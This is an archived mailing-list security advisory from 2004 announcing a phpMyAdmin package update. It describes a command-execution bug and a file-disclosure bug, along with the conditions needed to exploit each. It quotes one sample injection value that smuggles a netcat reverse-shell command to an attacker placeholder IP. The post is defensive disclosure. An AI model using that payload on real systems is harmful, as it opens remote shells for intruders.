sm-security AT lists.ibiblio.org

Subject: Security bugs are reported here via bugzilla

List archive

[SM-Security] SECURITY UPDATE for devel/phpMyAdmin

From: Eric Sandall <eric AT sandall.us>
To: sm-security AT lists.ibiblio.org
Subject: [SM-Security] SECURITY UPDATE for devel/phpMyAdmin
Date: Wed, 15 Dec 2004 16:35:12 -0800 (PST)

(Copied from an e-mail from Seth :))

Command execution :

- bug introduced in 2.6.0-pl2
- attacker does *not* need access to the phpMyAdmin interface
- PHP safe mode must be off
- external transformations must be activated
- sample of offensive value : F\';nc -e /bin/sh $IP 80;echo \'A

File disclosure :

- attacker need access to the phpMyAdmin interface
- PHP safe mode must be off
- $cfg['UploadDir'] must be defined
- exploitation is done via 'sql_localfile'

Files included in tarball:
DETAILS
HISTORY

-sandalle

--
Eric Sandall | Source Mage GNU/Linux Developer
eric AT sandall.us | http://www.sourcemage.org/
http://eric.sandall.us/ | SysAdmin @ Inst. Shock Physics @ WSU
http://counter.li.org/ #196285 | http://www.shock.wsu.edu/

Attachment: phpMyAdmin.tar.bz2
Description: Binary data

[SM-Security] SECURITY UPDATE for devel/phpMyAdmin, Eric Sandall, 12/15/2004